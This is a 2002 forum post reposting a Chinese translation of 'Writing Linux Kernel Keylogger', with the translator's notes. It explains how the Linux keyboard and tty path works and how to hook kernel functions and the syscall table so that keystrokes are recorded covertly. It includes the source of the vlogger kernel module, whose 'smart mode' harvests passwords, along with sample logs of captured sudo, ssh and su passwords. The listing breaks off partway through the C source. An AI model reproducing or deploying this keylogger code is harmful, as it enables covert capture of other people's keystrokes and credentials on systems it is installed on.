免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 9207 | 回复: 12
打印 上一主题 下一主题

Writing Linux Kernel Keylogger [复制链接]

论坛徽章:
1
荣誉版主
日期:2011-11-23 16:44:17
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2002-12-30 18:19 |只看该作者 |倒序浏览

  1. |=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
  2. |=-----------------------------------------------------------------------=|
  3. |=------------------=[ rd <rd@thehackerschoice.com>; ]=-------------------=|
  4. |=------------------------=[ June 19th, 2002 ]=--------------------------=|
  5. |=------------------=[ 整理:e4gle <e4gle@whitecell.org>; from whitecell.org]=-------------------=|
  6. |=------------------------=[ Aug 12th, 2002 ]=--------------------------=|


  7. --[ Contents

  8. 1 - 介绍

  9. 2 - linux的keyboard驱动是如何工作的

  10. 3 - 基于内核的键盘纪录的原理
  11.    3.1 - 中断句柄
  12.    3.2 - 函数劫持
  13.        3.2.1 - 劫持handle_scancode
  14.        3.2.2 - 劫持put_queue
  15.        3.2.3 - 劫持receive_buf
  16.        3.2.4 - 劫持tty_read
  17.        3.2.5 - 劫持sys_read/sys_write

  18. 4 - vlogger
  19.    4.1 - 工作原理
  20.    4.2 - 功能及特点
  21.    4.3 - 如何使用

  22. 5 - 感谢

  23. 6 - 参考资料

  24. 7 - Keylogger源代码




  25. --[ 1 - 介绍

  26.       本文分成两个部分。第一部分给出了linux键盘驱动的工作原理,并且讨论了建立一个基于
  27. 内核的键盘纪录器的方法。这部分内容对那些想写一个基于内核的键盘纪录器,或者写一个
  28. 自己键盘驱动的朋友会有帮助。

  29. 第二部分详细描述了vlogger的每个细节,vlogger是一个强大的基于内核的linux键盘纪录器,
  30. 以及如何来使用它。这向技术可以运用在蜜罐系统中,也可以做成一些很有意思的hacker game,
  31. 主要用来分析和采集hacker的攻击手法。我们都知道,一些大家熟知的键盘纪录器,如iob,
  32. uberkey,unixkeylogger等,它们是基于用户层的。这里介绍的是基于内核层的键盘纪录器。
  33. 最早期的基于内核的键盘纪录器是linspy,它发表在phrack杂志第50期。而现代的kkeylogger(
  34. 后面我们将用kkeylogger来表示基于内核的键盘纪录器)广泛采用的手法是中断sys_read或者
  35. sys_write系统调用来对用户的击键进行记录。
  36. 显然,这种方法是很不稳定的并且会明显的降低系统的速度,因为我们中断的恰恰是系统使用最
  37. 频繁的两个系统调用sys_read,sys_write;sys_read在每个进程需要读写设备的时候都会用到。
  38. 在vlogger里,我用了一个更好的方法,就是劫持tty buffer进程函数,下面会介绍到。

  39. 我假定读者熟悉linux的可加载模块的原理和运作过程,如果不熟悉,推荐大家首先阅读我以前写
  40. 过的linux kernel simple hacking,或者linux tty hijack,(在http://e4gle.org有下载),
  41. 参阅《linux驱动程序设计》来获得相关的理论基础知识。


  42. --[ 2 - linux键盘驱动的工作原理

  43. 首先让我们通过以下的结构图来了解一下用户从终端的击键是如何工作的:

  44.   _____________            _________             _________         
  45. /             \ put_queue|         |receive_buf|         |tty_read
  46. /handle_scancode\-------->;|tty_queue|---------->;|tty_ldisc|------->;
  47. \               /         |         |           |buffer   |        
  48. \_____________/          |_________|           |_________|        

  49.      _________          ____________
  50.     |         |sys_read|            |
  51. --->;|/dev/ttyX|------->;|user process|
  52.     |         |        |            |
  53.     |_________|        |____________|


  54.                             Figure 1

  55. 首先,当你输入一个键盘值的时候,键盘将会发送相应的scancodes给键盘驱动。一个独立的
  56. 击键可以产生一个六个scancodes的队列。

  57. 键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的
  58. 转换表(translation-table)将击键事件和键的释放事件(key release events)转换成连
  59. 续的keycode。

  60. 比如,'a'的keycode是30。击键’a'的时候便会产生keycode 30。释放a键的时候会产生
  61. keycode 158(128+30)。

  62. 然后,这些keycode通过对keymap的查询被转换成相应key符号。这步是一个相当
  63. 复杂的过程。

  64. 以上操作之后,获得的字符被送入raw tty队列--tty_flip_buffer。

  65. receive_buf()函数周期性的从tty_flip_buffer中获得字符,然后把这些字符送入
  66. tty read队列。

  67. 当用户进程需要得到用户的输入的时候,它会在进程的标准输入(stdin)调用read()函数。
  68. sys_read()函数调用定义在相应的tty设备(如/dev/tty0)的file_operations结构
  69. 中指向tty_read的read()函数来读取字符并且返回给用户进程。

  70. /*e4gle add
  71. file_operations是文件操作结构,定义了文件操作行为的成员,结构如下,很容易理解:
  72. struct file_operations {
  73. struct module *owner;
  74. loff_t (*llseek) (struct file *, loff_t, int);
  75. ssize_t (*read) (struct file *, char *, size_t, loff_t *);<----这是本文提到的read函数
  76. ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
  77. int (*readdir) (struct file *, void *, filldir_t);
  78. unsigned int (*poll) (struct file *, struct poll_table_struct *);
  79. int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
  80. int (*mmap) (struct file *, struct vm_area_struct *);
  81. int (*open) (struct inode *, struct file *);
  82. int (*flush) (struct file *);
  83. int (*release) (struct inode *, struct file *);
  84. int (*fsync) (struct file *, struct dentry *, int datasync);
  85. int (*fasync) (int, struct file *, int);
  86. int (*lock) (struct file *, int, struct file_lock *);
  87. ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *);
  88. ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *);
  89. ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
  90. unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
  91. };
  92. 我们直到unix系统中设备也是文件,所以tty设备我们也可以进行文件操作。
  93. */

  94.   键盘驱动器可以有如下4种模式:
  95. - scancode(RAW模式):应用程序取得输入的scancode。这种模式通常
  96. 用于应用程序实现自己的键盘驱动器,比如X11程序。

  97. - keycode(MEDIUMRAW模式):应用程序取得key的击键和释放行为(通过
  98. keycode来鉴别这两种行为)信息。

  99. - ASCII(XLATE模式):应用程序取得keymap定义的字符,该字符是
  100. 8位编码的。

  101. - Unicode(UNICODE模式):此模式唯一和ASCII模式不同之处就是UNICODE模式
  102. 允许用户将自己的10进制值编写成UTF8的unicode字符,如十进制的数可以编写成
  103. Ascii_0到Ascii_9,或者用户16进制的值可以用Hex_0到Hex_9来代表。一个keymap
  104. 可以产生出一系列UTF8的序列。

  105. 以上这些驱动器的工作模式决定了应用程序所取得的键盘输入的数据类型。大家如果需要详细了解scancode,
  106. keycode和keymaps的相关信息,参看read[3]。


  107. --[ 3 - 基于内核的键盘纪录器的实现步骤

  108. 我们论述两种实现方法,一个是书写我们自己的键盘中断句柄,另一个是劫持输入进程函数.


  109. ----[ 3.1 - 中断句柄

  110. 要纪录击键信息,我们就要利用我们自己的键盘中断。在Intel体系下,控制键盘的IRQ值是1。
  111. 当接受到一个键盘中断时,我们的键盘中断器会读取scancode和键盘的状态。读写键盘事件
  112. 都是通过0x60端口(键盘数据注册器)和0x64(键盘状态注册器)来实现的。

  113. /* 以下代码都是intel格式 */
  114. #define KEYBOARD_IRQ 1
  115. #define KBD_STATUS_REG 0x64
  116. #define KBD_CNTL_REG 0x64
  117. #define KBD_DATA_REG 0x60

  118. #define kbd_read_input() inb(KBD_DATA_REG)
  119. #define kbd_read_status() inb(KBD_STATUS_REG)
  120. #define kbd_write_output(val) outb(val, KBD_DATA_REG)
  121. #define kbd_write_command(val) outb(val, KBD_CNTL_REG)

  122. /* 注册我们的IRQ句柄*/
  123. request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

  124. 在my_keyboard_irq_handler()函数中定义如下:
  125. scancode = kbd_read_input();
  126. key_status = kbd_read_status();
  127. log_scancode(scancode);

  128. 这种方法不方便跨平台操作。而且很容易crash系统,所以必须小心操作你的终端句柄。


  129. ----[ 3.2 - 函数劫持

  130. 在第一种思路的基础上,我们还可以通过劫持handle_scancode(),put_queue(),receive_buf(),
  131. tty_read()或者sys_read()等函数来实现我们自己的键盘纪录器。注意,我们不能劫持
  132. tty_insert_flip_char()函数,因为它是一个内联函数。


  133. ------[ 3.2.1 - handle_scancode函数

  134. 它是键盘驱动程序中的一个入口函数(有兴趣可以看内核代码keynoard.c)。

  135. # /usr/src/linux/drives/char/keyboard.c
  136. void handle_scancode(unsigned char scancode, int down);

  137. 我们可以这样,通过替换原始的handle_scancode()函数来实现纪录所有的scancode。这就我们
  138. 在lkm后门中劫持系统调用是一个道理,保存原来的,把新的注册进去,实现我们要的功能,再调用
  139. 回原来的,就这么简单。就是一个内核函数劫持技术。

  140. /* below is a code snippet written by Plasmoid */
  141. static struct semaphore hs_sem, log_sem;
  142. static int logging=1;

  143. #define CODESIZE 7
  144. static char hs_code[CODESIZE];
  145. static char hs_jump[CODESIZE] =
  146.        "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */
  147.        "\xff\xe0"                  /*      jmp    *%eax    */
  148.    ;

  149. void (*handle_scancode) (unsigned char, int) =
  150.         (void (*)(unsigned char, int)) HS_ADDRESS;

  151. void _handle_scancode(unsigned char scancode, int keydown)
  152. {
  153.        if (logging && keydown)
  154.           log_scancode(scancode, LOGFILE);
  155.    
  156.        /*恢复原始handle_scancode函数的首几个字节代码。调用恢复后的原始函数并且
  157.         *再次恢复跳转代码。
  158.         */
  159.        down(&hs_sem);
  160.    
  161.        memcpy(handle_scancode, hs_code, CODESIZE);
  162.        handle_scancode(scancode, keydown);
  163.        memcpy(handle_scancode, hs_jump, CODESIZE);
  164.    
  165.        up(&hs_sem);
  166. }

  167. HS_ADDRESS这个地址在执行Makefile文件的时候定义:
  168. HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
  169. 其实就是handle_scancode在ksyms导出的地址。

  170. 类似3.1节中提到的方法,这种方法对在X和终端下纪录键盘击键也很有效果,和是否调用
  171. tty无关。这样你就可以纪录下键盘上的正确的击键行为了(包括一些特殊的key,如ctrl,alt,
  172. shift,print screen等等)。但是这种方法也是不能跨平台操作,毕竟是靠lkm实现的。同样
  173. 它也不能纪录远程会话的击键并且也很难构成相当复杂的高级纪录器。


  174. ------[ 3.2.2 - put_queue函数

  175. handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。

  176. /*e4gle add
  177. put_queue函数在内核中定义如下:

  178. void put_queue(int ch)
  179. {
  180. wake_up(&keypress_wait);
  181. if (tty) {
  182. tty_insert_flip_char(tty, ch, 0);
  183. con_schedule_flip(tty);
  184. }
  185. }
  186. */

  187. # /usr/src/linux/drives/char/keyboard.c
  188. void put_queue(int ch);

  189. 劫持这个函数,我们可以利用和上面劫持handle_scancode函数同样的方法。


  190. ------[ 3.2.3 - receive_buf函数

  191. 底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。

  192. # /usr/src/linux/drivers/char/n_tty.c */
  193. static void n_tty_receive_buf(struct tty_struct *tty, const
  194. unsigned char *cp, char *fp, int count)

  195. 参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。

  196. 让我们深入的看一看tty结构

  197. # /usr/include/linux/tty.h
  198. struct tty_struct {
  199. intmagic;
  200. struct tty_driver driver;
  201. struct tty_ldisc ldisc;
  202. struct termios *termios, *termios_locked;
  203. ...
  204. }

  205. # /usr/include/linux/tty_ldisc.h
  206. struct tty_ldisc {
  207. intmagic;
  208. char*name;
  209. ...
  210. void(*receive_buf)(struct tty_struct *,
  211. const unsigned char *cp, char *fp, int count);
  212. int(*receive_room)(struct tty_struct *);
  213. void(*write_wakeup)(struct tty_struct *);
  214. };

  215. 要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置ldisc.receive_buf到
  216. 我们的new_receive_buf()函数来记录用户的输入。

  217. 举个例子:我们要记录在tty0设备上的输入。

  218. int fd = open("/dev/tty0", O_RDONLY, 0);
  219. struct file *file = fget(fd);
  220. struct tty_struct *tty = file->;private_data;
  221. old_receive_buf = tty->;ldisc.receive_buf;//保存原始的receive_buf()函数
  222. tty->;ldisc.receive_buf = new_receive_buf;//替换成新的new_receive_buf函数

  223. //新的new_receive_buf函数
  224. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
  225. char *fp, int count)
  226. {
  227. logging(tty, cp, count); //纪录用户击键

  228. /* 调用回原来的receive_buf */
  229. (*old_receive_buf)(tty, cp, fp, count);
  230. }

  231. /*e4gle add
  232. 其实这里新的new_receive_buf函数只是做了个包裹,技术上实现大同小异,包括劫持系统调用
  233. 内核函数等,技术上归根都比较简单,难点在于如何找到切入点,即劫持哪个函数可以达到目的,或者
  234. 效率更高更稳定等,这就需要深入了解这些内核函数的实现功能。
  235. */


  236. ------[ 3.2.4 - tty_read函数

  237. 当一个进程需要通过sys_read()函数来读取一个tty终端的输入字符的时候,tty_read函数就会被调用。

  238. # /usr/src/linux/drives/char/tty_io.c
  239. static ssize_t tty_read(struct file * file, char * buf, size_t count,
  240. loff_t *ppos)

  241. static struct file_operations tty_fops = {
  242. llseek:tty_lseek,
  243. read:tty_read,
  244. write:tty_write,
  245. poll:tty_poll,
  246. ioctl:tty_ioctl,
  247. open:tty_open,
  248. release:tty_release,
  249. fasync:tty_fasync,
  250. };

  251. 还是举上面的纪录来自tty0的输入信息的例子:

  252. int fd = open("/dev/tty0", O_RDONLY, 0);
  253. struct file *file = fget(fd);
  254. old_tty_read = file->;f_op->;read;//保存原来的tty_read
  255. file->;f_op->;read = new_tty_read;//替换新的tty_read函数

  256. /*e4gle add
  257. 劫持这个函数的具体实现代码就不多说了,和上面是一样的,我这里写出来给大家参考一下:
  258. static ssize_t new_tty_read(struct file * file, char * buf, size_t count,
  259. loff_t *ppos)
  260. {
  261. struct tty_struct *tty = file->;private_data;
  262. logging(tty, buf, count); //纪录用户击键

  263. /* 调用回原来的tty_read */
  264. (*old_tty_read)(file, buf, count, ppos);
  265. }
  266. */


  267. ------[ 3.2.5 - sys_read/sys_write函数

  268. 截获sys_read/sys_write这两个系统调用来实现的技术我不说了,在很早的quack翻译
  269. 的“linux内核可加载模块编程完全指南”中就提到了这种技术,在我写的“linux kernel hacking”
  270. 若干教程中也明明白白反反复复提到过,phrack杂志也早在50期的第四篇文章里也介绍到,
  271. 如果大家不明白请参考以上文献。

  272. 我提供以下code来实现劫持sys_read和sys_write系统调用:

  273. extern void *sys_call_table[];
  274. original_sys_read = sys_call_table[__NR_read];
  275. sys_call_table[__NR_read] = new_sys_read;
  276. 当然除了替换sys_call_table表之外还有很多方法,在phrack59中的高级kernel hacking一文
  277. 中详细针对现有的几种劫持系统调用的方法有演示代码,这里不多做介绍了。


  278. --[ 4 - vlogger

  279. 这节介绍一下一个内核键盘纪录器vlogger,是本文的原作者的大作,它是通过3.2.3节中
  280. 介绍的方法来实现纪录用户击键的,也利用了劫持sys_read/sys_write系统调用来做补充。
  281. vlogger在如下内核中测试通过:2.4.5,2.4.7,2.4.17,2.4.18。


  282. ----[ 4.1 - 步骤

  283. 要记录下本地(纪录终端的信息)和远程会话的键盘击键 ,我选择劫持receive_buf函数的
  284. 方法(见3.2.3节)。

  285. 在内核中,tty_struct和tty_queue结构仅仅在tty设备打开的时候被动态分配。因而,我们
  286. 同样需要通过劫持sys_open系统调用来动态的hooking这些每次调用时的每个tty或pty的
  287. receive_buf()函数。

  288. // 劫持sys_open调用
  289. original_sys_open = sys_call_table[__NR_open];
  290. sys_call_table[__NR_open] = new_sys_open;

  291. // new_sys_open()
  292. asmlinkage int new_sys_open(const char *filename, int flags, int mode)
  293. {
  294. ...
  295. //调用original_sys_open
  296. ret = (*original_sys_open)(filename, flags, mode);

  297. if (ret >;= 0) {
  298. struct tty_struct * tty;
  299. ...
  300. file = fget(ret);
  301. tty = file->;private_data;
  302. if (tty != NULL &&
  303. ...
  304. tty->;ldisc.receive_buf != new_receive_buf) {
  305. ...
  306. // 保存原来的receive_buf
  307. old_receive_buf = tty->;ldisc.receive_buf;
  308. ...

  309.        /*
  310.         * 开始劫持该tty的receive_buf函数
  311.         * tty->;ldisc.receive_buf = new_receive_buf;
  312.         */
  313. init_tty(tty, TTY_INDEX(tty));
  314. }
  315. ...
  316. }

  317. // 我们的新的receive_buf()函数
  318. void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
  319. char *fp, int count)
  320. {
  321. if (!tty->;real_raw && !tty->;raw)// 忽略 raw模式
  322. // 调用我们的logging函数来记录用户击键
  323. vlogger_process(tty, cp, count);
  324. // 调用回原来的receive_buf
  325. (*old_receive_buf)(tty, cp, fp, count);
  326. }


  327. ----[ 4.2 - 功能及特点

  328.   - 可以记录本地和远程会话的所有击键(通过tty和pts)

  329.   - 按每个tty/会话分开纪录。每个tty都有他们自己的纪录缓冲区。

  330.   - 几乎支持所有的特殊键如方向键(left,riht,up,down),F1到F12,Shift+F1到Shift+F12,
  331.     Tab,Insert,Delete,End,Home,Page Up,Page Down,BackSpace,等等

  332.   - 支持一些行编辑键包括ctrl-U和BackSpace键等。

  333.   - 时区支持

  334.   - 多种日志模式

  335. o dumb模式: 纪录所有的击键行为

  336. o smart模式: 只记录用户名/密码。这里我用了solar designer和dug song的"Passive Analysis
  337. of SSH (Secure Shell) Traffic"文章中的一个小技术来实现的。当应用程序返回的
  338. 输入回显关闭的时候(就是echo -off),就认为那是用户在输入密码,我们过滤下来
  339. 就是了:)

  340. o normal模式: 禁止纪录

  341. 用户可以通过利用MAGIC_PASS宏和VK_TOGLE_CHAR宏(MAGIC_PASS这个宏定义了切换密
  342. 码,VK_TOGLE_CHAR定义了一个keycode来做为切换热键)来切换日志模式。

  343. #define VK_TOGLE_CHAR29// CTRL-]
  344. #define MAGIC_PASS"31337"//要切换日志模式,输入MAGIC_PASS,然后敲击VK_TOGLE_CHAR键

  345. ----[ 4.3 - 如何使用

  346. 以下是一些可改变的选项

  347. // 日志存放路径的宏
  348. #define LOG_DIR "/tmp/log"

  349. // 本地的时区
  350. #define TIMEZONE7*60*60// GMT+7

  351. // 切换日志模式的密码的宏
  352. #define MAGIC_PASS"31337"

  353. 以下列出了纪录后的日志目录结构:

  354. [e4gle@redhat72 log]# ls -l
  355. total 60
  356. -rw-------    1 root     root          633 Jun 19 20:59 pass.log
  357. -rw-------    1 root     root        37593 Jun 19 18:51 pts11
  358. -rw-------    1 root     root           56 Jun 19 19:00 pts20
  359. -rw-------    1 root     root          746 Jun 19 20:06 pts26
  360. -rw-------    1 root     root          116 Jun 19 19:57 pts29
  361. -rw-------    1 root     root         3219 Jun 19 21:30 tty1
  362. -rw-------    1 root     root        18028 Jun 19 20:54 tty2

  363. ---在dumb模式中
  364. [e4gle@redhat72 log]# head tty2//本地会话
  365. <19/06/2002-20:53:47 uid=501 bash>; pwd
  366. <19/06/2002-20:53:51 uid=501 bash>; uname -a
  367. <19/06/2002-20:53:53 uid=501 bash>; lsmod
  368. <19/06/2002-20:53:56 uid=501 bash>; pwd
  369. <19/06/2002-20:54:05 uid=501 bash>; cd /var/log
  370. <19/06/2002-20:54:13 uid=501 bash>; tail messages
  371. <19/06/2002-20:54:21 uid=501 bash>; cd ~
  372. <19/06/2002-20:54:22 uid=501 bash>; ls
  373. <19/06/2002-20:54:29 uid=501 bash>; tty
  374. <19/06/2002-20:54:29 uid=501 bash>; [UP]

  375. [e4gle@redhat72 log]# tail pts11// 远程会话
  376. <19/06/2002-18:48:27 uid=0 bash>; cd new
  377. <19/06/2002-18:48:28 uid=0 bash>; cp -p ~/code .
  378. <19/06/2002-18:48:21 uid=0 bash>; lsmod
  379. <19/06/2002-18:48:27 uid=0 bash>; cd /va[TAB][^H][^H]tmp/log/
  380. <19/06/2002-18:48:28 uid=0 bash>; ls -l
  381. <19/06/2002-18:48:30 uid=0 bash>; tail pts11
  382. <19/06/2002-18:48:38 uid=0 bash>; [UP] | more
  383. <19/06/2002-18:50:44 uid=0 bash>; vi vlogertxt
  384. <19/06/2002-18:50:48 uid=0 vi>; :q
  385. <19/06/2002-18:51:14 uid=0 bash>; rmmod vlogger

  386. ---在smart模式中
  387. [e4gle@redhat72 log]# cat pass.log
  388. [19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
  389. USER/CMD sudo traceroute yahoo.com
  390. PASS 5hgt6d
  391. PASS

  392. [19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
  393. USER/CMD ssh guest@host.com
  394. PASS guest

  395. [19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
  396. USER/CMD open ftp.ilog.fr
  397. USER Anonymous
  398. PASS heh@heh

  399. [19/06/2002-20:59:54 tty=pts/29 uid=504 su]
  400. USER/CMD su -
  401. PASS asdf1234


  402. --[ 5 - 感谢

  403. 感谢plasmoid, skyper的大力帮助,感谢THC,vnsecurity等组织的所有朋友们。
  404. 最后,感谢thang先生的英文翻译。

  405. //e4gle add
  406. 到此,全文介绍完了,大家有兴趣可以试试代码,其实这里涉及的技术无非还是系统调用和内核函数
  407. 的劫持技术,我整理过的一篇tty劫持的文章,大家也可以对比一下。其实vlogger也有一定的缺陷,
  408. 它还是通过sys_call_table的方法来劫持系统调用open的,那很容易被kstat等工具发现,关于更
  409. 隐藏的劫持技术在phrack59的advance kernel hacking一文里有5个例子详细介绍了更多的办法,
  410. 大家可以参考这些文献。


  411. --[ 6 - 参考资料

  412. [1] Linux Kernel Module Programming
  413.     http://www.tldp.org/LDP/lkmpg/
  414. [2] Complete Linux Loadable Kernel Modules - Pragmatic
  415.     http://www.thehackerschoice.com/papers/LKM_HACKING.html
  416. [3] The Linux keyboard driver - Andries Brouwer
  417.     http://www.linuxjournal.com/lj-issues/issue14/1080.html
  418. [4] Abuse of the Linux Kernel for Fun and Profit - Halflife
  419.     http://www.phrack.com/phrack/50/P50-05
  420. [5] Kernel function hijacking - Silvio Cesare
  421.     http://www.big.net.au/~silvio/kernel-hijack.txt
  422. [6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
  423.     http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
  424. [7] Kernel Based Keylogger - Mercenary
  425.     http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt

  426. --[ 7 - Keylogger的源代码

  427. <++>; vlogger/Makefile
  428. #
  429. #  vlogger 1.0 by rd
  430. #
  431. #  LOCAL_ONLYlogging local session only. Doesn't intercept
  432. #sys_open system call
  433. #  DEBUGEnable debug. Turn on this options will slow
  434. #down your system
  435. #

  436. KERNELDIR =/usr/src/linux
  437. include $(KERNELDIR)/.config
  438. MODVERFILE = $(KERNELDIR)/include/linux/modversions.h

  439. MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
  440. CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
  441. -Wstrict-prototypes -fomit-frame-pointer -pipe \
  442. -fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
  443. -malign-functions=2

  444. all : vlogger.o

  445. vlogger.o: vlogger.c
  446. $(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@

  447. clean:
  448. rm -f *.o
  449. <-->;
  450. <++>; vlogger/vlogger.c
  451. /*
  452. *  vlogger 1.0
  453. *
  454. *  Copyright (C) 2002 rd <rd@vnsecurity.net>;
  455. *
  456. *  Please check http://www.thehackerschoice.com/ for update
  457. *
  458. *  This program is free software; you can redistribute it and/or modify
  459. *  it under the terms of the GNU General Public License as published by
  460. *  the Free Software Foundation; either version 2 of the License, or
  461. *  (at your option) any later version
  462. *
  463. *  This program is distributed in the hope that it will be useful, but
  464. *  WITHOUT ANY WARRANTY; without even the implied warranty of
  465. *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  466. *  General Public License for more details.
  467. *
  468. *  Greets to THC & vnsecurity
  469. *
  470. */

  471. #define __KERNEL_SYSCALLS__
  472. #include <linux/version.h>;
  473. #include <linux/module.h>;
  474. #include <linux/kernel.h>;
  475. #include <linux/smp_lock.h>;
  476. #include <linux/sched.h>;
  477. #include <linux/unistd.h>;
  478. #include <linux/string.h>;
  479. #include <linux/file.h>;
  480. #include <asm/uaccess.h>;
  481. #include <linux/proc_fs.h>;
  482. #include <asm/errno.h>;
  483. #include <asm/io.h>;

  484. #ifndef KERNEL_VERSION
  485. #define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
  486. #endif

  487. #if LINUX_VERSION_CODE >;= KERNEL_VERSION(2,4,9)
  488. MODULE_LICENSE("GPL");
  489. MODULE_AUTHOR("rd@vnsecurity.net");
  490. #endif

  491. #define MODULE_NAME "vlogger "
  492. #define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"

  493. #ifdef DEBUG
  494. #define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
  495. #else
  496. #define DPRINT(format, args...)
  497. #endif

  498. #define N_TTY_NAME "tty"
  499. #define N_PTS_NAME "pts"
  500. #define MAX_TTY_CON 8
  501. #define MAX_PTS_CON 256
  502. #define LOG_DIR "/tmp/log"
  503. #define PASS_LOG LOG_DIR "/pass.log"

  504. #define TIMEZONE 7*60*60// GMT+7

  505. #define ESC_CHAR 27
  506. #define BACK_SPACE_CHAR1 127// local
  507. #define BACK_SPACE_CHAR2 8// remote

  508. #define VK_TOGLE_CHAR 29// CTRL-]
  509. #define MAGIC_PASS "31337" // to switch mode, press MAGIC_PASS and
  510. // VK_TOGLE_CHAR

  511. #defineVK_NORMAL 0
  512. #defineVK_DUMBMODE 1
  513. #defineVK_SMARTMODE 2
  514. #define DEFAULT_MODE VK_DUMBMODE

  515. #define MAX_BUFFER 256
  516. #define MAX_SPECIAL_CHAR_SZ 12

  517. #define TTY_NUMBER(tty) MINOR((tty)->;device) - (tty)->;driver.minor_start \
  518. + (tty)->;driver.name_base
  519. #define TTY_INDEX(tty) tty->;driver.type == \
  520. TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
  521. TTY_NUMBER(tty):TTY_NUMBER(tty)
  522. #define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
  523. #define TTY_WRITE(tty, buf, count) (*tty->;driver.write)(tty, 0, \
  524. buf, count)

  525. #define TTY_NAME(tty) (tty->;driver.type == \
  526. TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
  527. tty->;driver.type == TTY_DRIVER_TYPE_PTY && \
  528. tty->;driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")

  529. #define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
  530. #define END_KMEM set_fs(old_fs); }

  531. extern void *sys_call_table[];
  532. int errno;

  533. struct tlogger {
  534. struct tty_struct *tty;
  535. char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
  536. int lastpos;
  537. int status;
  538. int pass;
  539. };

  540. struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
  541. void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
  542. char *, int);
  543. asmlinkage int (*original_sys_open)(const char *, int, int);

  544. int vlogger_mode = DEFAULT_MODE;

  545. /* Prototypes */
  546. static inline void init_tty(struct tty_struct *, int);

  547. /*
  548. static char *_tty_make_name(struct tty_struct *tty,
  549. const char *name, char *buf)
  550. {
  551. int idx = (tty)?MINOR(tty->;device) - tty->;driver.minor_start:0;

  552. if (!tty)
  553. strcpy(buf, "NULL tty");
  554. else
  555. sprintf(buf, name,
  556. idx + tty->;driver.name_base);
  557. return buf;
  558. }

  559. char *tty_name(struct tty_struct *tty, char *buf)
  560. {
  561. return _tty_make_name(tty, (tty)?tty->;driver.name:NULL, buf);
  562. }
  563. */

  564. #define SECS_PER_HOUR   (60 * 60)
  565. #define SECS_PER_DAY    (SECS_PER_HOUR * 24)
  566. #define isleap(year) \
  567. ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
  568. #define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
  569. #define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

  570. struct vtm {
  571. int tm_sec;
  572. int tm_min;
  573. int tm_hour;
  574. int tm_mday;
  575. int tm_mon;
  576. int tm_year;
  577. };


  578. /*
  579. *  Convert from epoch to date
  580. */

  581. int epoch2time (const time_t *t, long int offset, struct vtm *tp)
  582. {
  583. static const unsigned short int mon_yday[2][13] = {
  584.    /* Normal years.  */
  585.    { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
  586.    /* Leap years.  */
  587.    { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
  588. };

  589. long int days, rem, y;
  590. const unsigned short int *ip;

  591. days = *t / SECS_PER_DAY;
  592. rem = *t % SECS_PER_DAY;
  593. rem += offset;
  594. while (rem < 0) {
  595. rem += SECS_PER_DAY;
  596. --days;
  597. }
  598. while (rem >;= SECS_PER_DAY) {
  599. rem -= SECS_PER_DAY;
  600. ++days;
  601. }
  602. tp->;tm_hour = rem / SECS_PER_HOUR;
  603. rem %= SECS_PER_HOUR;
  604. tp->;tm_min = rem / 60;
  605. tp->;tm_sec = rem % 60;
  606. y = 1970;

  607. while (days < 0 || days >;= (isleap (y) ? 366 : 365)) {
  608. long int yg = y + days / 365 - (days % 365 < 0);
  609. days -= ((yg - y) * 365
  610. + LEAPS_THRU_END_OF (yg - 1)
  611. - LEAPS_THRU_END_OF (y - 1));
  612. y = yg;
  613. }
  614. tp->;tm_year = y - 1900;
  615. if (tp->;tm_year != y - 1900)
  616. return 0;
  617. ip = mon_yday[isleap(y)];
  618. for (y = 11; days < (long int) ip[y]; --y)
  619. continue;
  620. days -= ip[y];
  621. tp->;tm_mon = y;
  622. tp->;tm_mday = days + 1;
  623. return 1;
  624. }


  625. /*
  626. *  Get current date & time
  627. */

  628. void get_time (char *date_time)
  629. {
  630. struct timeval tv;
  631. time_t t;
